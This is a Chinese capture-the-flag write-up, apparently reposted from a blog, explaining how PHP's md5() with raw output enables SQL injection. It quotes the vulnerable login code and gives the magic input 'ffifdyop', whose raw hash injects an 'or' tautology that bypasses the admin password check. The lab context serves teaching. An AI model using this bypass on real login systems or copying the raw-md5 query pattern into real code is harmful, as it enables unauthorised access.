后台登录

Note:

1) md5(string,raw)函数的使用

第一个参数string必须有,第二个参数可有可无(默认是false)

当raw是false时,返回32字符16进制格式

当raw是true时,返回16字符2进制格式,也就是md5加密之后的十六进制转化为字符串形式,相当于又一次转换

由于raw=true的特殊形式,所以会存在SQL注入(形成SQL语句中的一些关键字,造成SQL注入)

Link:http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php

考点:md5的SQL注入


进去之后提示输入密码,随便输入一个字符串提示密码错误,查看源代码发现有一段有用信息

<!-- $password=$_POST['password'];
	$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
	$result=mysqli_query($link,$sql);
		if(mysqli_num_rows($result)>0){
			echo 'flag is :'.$flag;
		}
		else{
			echo '密码错误!';
		} -->

分析逻辑用户是admin密码要经过md5加密之后进行SQL查询,你并不知道password,但md5里面的true很有用

一般我们见到的md5加密中都是没有True的这一点提醒了我们

利用True的特性构造一个特殊的字符串 "ffifdyop"

false: md5加密:md5(ffifdyop,32) = 276f722736c95d99e921722cf9ed621c

true: 十六进制转字符


若输入该字符串,则SQL语句变成

$sql = "SELECT * FROM admin WHERE username = 'admin' and password = 'or'6É]é!r,ùíb";

逻辑则是false or True => true

成功进行数据库查询,有记录返回,满足if条件打印flag


猜你喜欢

转载自blog.csdn.net/tc125/article/details/81002450